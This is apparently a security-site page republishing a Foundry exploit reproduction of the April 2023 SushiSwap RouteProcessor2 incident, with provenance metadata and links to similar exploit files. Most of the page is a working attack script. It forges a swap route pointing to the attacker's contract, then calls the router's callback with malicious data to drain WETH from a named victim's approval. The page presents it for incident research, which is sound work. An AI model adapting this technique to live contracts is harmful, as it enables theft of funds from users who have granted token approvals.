Public reproduction file

src/test/2023-04/Sushi_Router_exp.sol

Public reproduction file for dataset entry SushiSwap.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/Sushi_Router_exp.sol93 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/peckshield/status/1644907207530774530
9// https://twitter.com/SlowMist_Team/status/1644936375924584449
10// https://twitter.com/AnciliaInc/status/1644925421006520320
11// @TX
12// https://library.dedaub.com/ethereum/tx/0x04b166e7b4ab5105a8e9c85f08f6346de1c66368687215b0e0b58d6e5002bc32
13// @Summary
14// Sushi RouteProcessor2 does not check user input `route` carefully.
15 
16interface IUniswapV3Pool {
17    function swap(
18        address recipient,
19        bool zeroForOne,
20        int256 amountSpecified,
21        uint160 sqrtPriceLimitX96,
22        bytes calldata data
23    ) external returns (int256 amount0, int256 amount1);
24}
25 
26interface IRouteProcessor2 {
27    function processRoute(
28        address tokenIn,
29        uint256 amountIn,
30        address tokenOut,
31        uint256 amountOutMin,
32        address to,
33        bytes memory route
34    ) external payable returns (uint256 amountOut);
35 
36    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;
37 
38    function tridentCLSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external;
39}
40//original route 0x01514910771af9ca656af840dff83e8264ecf986ca01000001f9a001d5b2c7c5e45693b41fcf931b94e680cac4000000000000000000000000000000000000000000
41// my route      0x01514910771af9ca656af840dff83e8264ecf986ca010000017fa9385be102ac3eac297483dd6233d62b3e1496000000000000000000000000000000000000000000
42 
43contract SushiExp is Test, IUniswapV3Pool {
44    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
45    IERC20 LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
46    address victim = 0x31d3243CfB54B34Fc9C73e1CB1137124bD6B13E1;
47    IRouteProcessor2 processor = IRouteProcessor2(0x044b75f554b886A065b9567891e45c79542d7357);
48    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
49 
50    function setUp() public {
51        cheats.createSelectFork("mainnet", 17_007_841);
52 
53        cheats.label(address(WETH), "WETH");
54        cheats.label(address(LINK), "LINK");
55    }
56 
57    function testExp() external {
58        uint8 commandCode = 1;
59        uint8 num = 1;
60        uint16 share = 0;
61        uint8 poolType = 1;
62        address pool = address(this);
63        uint8 zeroForOne = 0;
64        address recipient = address(0);
65        bytes memory route =
66            abi.encodePacked(commandCode, address(LINK), num, share, poolType, pool, zeroForOne, recipient);
67        console.log("WETH balance before attack: %d\n", WETH.balanceOf(address(this)));
68 
69        processor.processRoute(
70            0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, //native token
71            0,
72            0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE,
73            0,
74            0x0000000000000000000000000000000000000000,
75            route
76        );
77 
78        console.log("WETH balance after  attack: %d\n", WETH.balanceOf(address(this)));
79    }
80 
81    function swap(
82        address recipient,
83        bool zeroForOne,
84        int256 amountSpecified,
85        uint160 sqrtPriceLimitX96,
86        bytes calldata data
87    ) external returns (int256 amount0, int256 amount1) {
88        amount0 = 0;
89        amount1 = 0;
90        bytes memory malicious_data = abi.encode(address(WETH), victim);
91        processor.uniswapV3SwapCallback(100 * 10 ** 18, 0, malicious_data);
92    }
93}

Analysis

Dataset entry

Public Foundry test for “SushiSwap” (2023-04-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
src/test/2021-09/Sushimiso_exp.solSame protocol or name in the dataset · 48 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name: SushiSwap
Path: src/test/2023-04/Sushi_Router_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 861bde9406c986e633c47f1492fe9db4fa8680db
Language: Solidity
Size: 94 lines
Date: 2023-04-09
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-04/Sushi_Router_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 861bde9406c986e633c47f1492fe9db4fa8680db, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.